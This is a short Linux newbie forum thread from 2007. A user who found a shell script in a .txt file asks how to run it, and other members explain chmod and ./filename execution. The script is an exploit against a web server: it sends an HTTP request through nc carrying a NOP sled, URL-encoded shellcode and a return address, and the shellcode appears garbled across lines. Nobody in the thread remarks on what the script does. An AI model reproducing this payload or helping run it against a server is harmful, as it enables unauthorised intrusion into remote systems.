LinuxQuestions.org
Latest LQ Deal: Linux Power User Bundle
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 01-21-2007, 02:28 PM   #1
cyberiapost
Member
 
Registered: Dec 2005
Location: 127.0.0.1
Distribution: slackware
Posts: 78

Rep: Reputation: 15
Question help using a script that starts like #!/bin/sh


how do i run a script that starts like

Code:
#!/bin/sh
if [ $# -ne 1 ] ; then
  echo "Usage: $0 webserver"
  exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%

%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n" | nc $host 80
???? should i save it to texteditor ??
 
Old 01-21-2007, 02:40 PM   #2
acid_kewpie
Moderator
 
Registered: Jun 2001
Location: UK
Distribution: Gentoo, RHEL, Fedora, Centos
Posts: 43,417

Rep: Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974Reputation: 1974
you just run it... it's a bash script. the point of the first line is to tell the shell what program to run it with, so as long as it is executable, it doesn't matter what it runs with, it just runs.
 
Old 01-21-2007, 11:20 PM   #3
cyberiapost
Member
 
Registered: Dec 2005
Location: 127.0.0.1
Distribution: slackware
Posts: 78

Original Poster
Rep: Reputation: 15
am a nooob ..
thanks for the reply but i found this script in a text file with .txt extension .... should i make it .sh and run like sh script.sh ???
 
Old 01-22-2007, 12:02 AM   #4
Nylex
LQ Addict
 
Registered: Jul 2003
Location: London, UK
Distribution: Slackware
Posts: 7,464

Rep: Reputation: Disabled
Doesn't matter if it has a .txt extension, as Linux generally doesn't care about extensions. Just give it executable permissions, with "chmod a+x filename" and then run it with "./filename".
 
Old 01-22-2007, 12:31 AM   #5
cyberiapost
Member
 
Registered: Dec 2005
Location: 127.0.0.1
Distribution: slackware
Posts: 78

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by Nylex
Doesn't matter if it has a .txt extension, as Linux generally doesn't care about extensions. Just give it executable permissions, with "chmod a+x filename" and then run it with "./filename".

thanks a lot nylex
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Script that starts X wnguza Linux - Software 3 08-17-2006 10:17 AM
grepping the script that starts the font server sancho1980 Linux - Newbie 4 05-16-2006 12:03 PM
wpasupplicant boot script starts to late cccc Linux - Networking 4 03-12-2006 06:08 PM
syslog starts script kirmet Linux - Security 1 11-02-2005 07:07 PM
/bin/sh script question sancho5 Linux - General 2 12-29-2001 11:12 PM


All times are GMT -5. The time now is 07:59 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration